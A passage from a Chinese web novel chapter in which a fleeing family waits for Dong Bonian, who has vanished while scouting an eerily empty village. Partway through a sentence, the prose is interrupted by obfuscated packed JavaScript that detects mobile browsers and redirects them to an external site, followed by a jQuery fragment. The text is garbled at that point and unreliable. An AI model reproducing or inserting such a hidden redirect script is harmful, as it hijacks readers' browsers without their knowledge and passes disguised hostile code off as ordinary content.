董伯年又带着叉子去潭水里叉了几条鱼,才继续开始赶路。 接下来的几日,路上倒是风平浪静,不见什么人或物,终于在第三天时,他们见到附近有一个小村庄。 为了保险,董伯年带着刀先过去探探路,其余人则躲在附近的林子里,就怕有什么突发状况。 就这样,董伯年去了小半个时辰还未见回来,原本就悬着一颗心的众人都很担忧,生怕董伯年遇上了什么事情。 “咱们要不要也跟着过去看看,大郎他...” 岑嫣担忧地望向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555214|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不远处的房子:“咱们先等等吧,夫君身手不错,若是里面真有什么,连他都对付不了,那咱们大喇喇地过去,恐怕也是被一锅端了。” 众人原本躁动的心,在听了岑嫣的话之后,仿佛被泼了一盆冷水。 “那咱也不能不管大哥吧?”董仲清有些不满。 “咱们再等等,万一什么事都没有呢?”岑嫣明白董仲清的心情,但他们现在能做的事情只有等。 就这样,众人从白日等到了天黑,原本他们还有有些饿,因着董伯年没有回来,到底没敢生火,就怕这附近有什么危险。 不过,他们倒是运气好,在附近找到了一些野果,倒是能勉强果腹。 “咱们现在能过去看看了吧?” 董仲清恨不得现在就直接冲到村子里去。 岑嫣抬眼看了看灰蒙蒙的天,神色凝重道:“再等等,等天彻底黑了,咱们再过去。” “还要等?”董仲清的声音陡然加大。 许慧见儿子这般,心中也十分焦急,却还是缓和了声调,道:“嫣娘,怎么还要等啊?大郎这都去一日了...莫不是...咱们可不能耽搁啊。” “若是里面真有人等着咱们,现在这天还有些亮,他们可是很容易就发现我们的。” 岑嫣心中也十分无奈,她也很急。 回不来的那人是她夫君,是整个队伍的主心骨,他要是真遇上什么危险,她到时候就是寡妇,而她们剩下这些人想要走到洞族山寨去,恐怕难如登天。 “就听嫣娘的!” 董承志一锤定音。 从这个队伍开始逃难以来,他从最开始的彷徨无助到现在,其实他一直都不知道该如何做。但他一直都知道,他们这个逃难队伍的主心骨其实就是大房夫妻。 在一次次的事故中,在日常的相处中,他也看出了自家大儿媳是一个极其有主见的女人。 就这样,直到天彻底暗下来时,岑嫣、董仲清和吴文兰偷偷地潜入了那个村庄。 刚进入村子时,里面是死一般的寂静。 要知道,寻常的村庄都会养些鸡鸭猫狗,村里也会因着这些动物而时不时地冒出动静来。 有时候,岑嫣半夜醒来,就会听到村里有人家的狗在远处狂叫,可那时候夜已经深了,根本就不可能存在什么人走动。 几人,小心地往前挪动,打探着周围的房屋,生怕一个不小心就遇到什么人。 可他们路过了好几户人家才发现,很多房门都是打开的。 岑嫣心中有了一些猜测,拉住另外两人,附耳对两人说了心中的猜测,她觉得这村子里没有什么人。 两人其实也有一样的想法,听了她的话,决定随机挑一户人家打探情况。 就这样,几人走进了一户房门大开的房子。 那房子黑洞洞的,仿佛要将人吞噬一般,几人有些害怕,但还是壮着胆子进去,挨个打开房门查看,发现果真没有什么人。 怪,真是太怪了,这房子既然没有什么人,那董伯年怎么天黑了都不回去。 岑嫣小声道:“咱们再一起找找吧,别分开。” “嗯。”两人无声点头。 不怕村里有人,就怕村里没人。 有人,至少几人有迹可循;没人,那董伯年是如何消失在这个村子里的? 岑嫣心中升起一股子不好的预感,她在心中暗暗祈祷。